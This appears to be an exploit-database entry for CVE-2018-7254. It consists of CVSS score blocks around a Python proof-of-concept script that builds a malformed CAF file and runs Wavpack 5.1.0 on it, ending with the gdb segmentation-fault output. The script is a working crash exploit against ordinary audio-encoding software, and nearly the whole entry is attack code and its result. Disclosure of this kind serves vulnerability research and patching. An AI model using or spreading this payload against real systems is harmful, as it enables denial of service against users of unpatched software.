7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
Wavpack 5.1.0 - Denial of Service
# Exploit title: Wavpack 5.1.0 - Denial of Service
# Date: 20.02.2018
# Exploit Author: r4xis
# https://github.com/r4xis
#
# Vendor Homepage: http://www.wavpack.com/
# Software Links: http://www.wavpack.com/downloads.html
# https://github.com/dbry/WavPack
#
#
# Version: Wavpack 5.1.0
# Tested on: Debian 9.3.0 64 bit
# Windows 7 32 bit and 64 bit
# Windows 8 64 bit
#
#
# CVE: CVE-2018-7254
# CVE Details:
# https://nvd.nist.gov/vuln/detail/CVE-2018-7254
# https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889274
# https://github.com/dbry/WavPack/issues/26
import os
head = "\x63\x61\x66\x66"
version = "\x00\x01"
junk1 = "\x00"*(0xa0-6)
crash = "\x80"
junk2 = "\x00"*100
f=open("poc.caf", 'w')
f.write(head+version+junk1+crash+junk2)
f.close()
os.system("wavpack poc.caf")
'''
Debian gdb output:
Program received signal SIGSEGV, Segmentation fault.
__memmove_sse2_unaligned_erms ()
at ../sysdeps/x86_64/multiarch/../multiarch/memmove-vec-unaligned-erms.S:333
333 ../sysdeps/x86_64/multiarch/../multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
'''
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P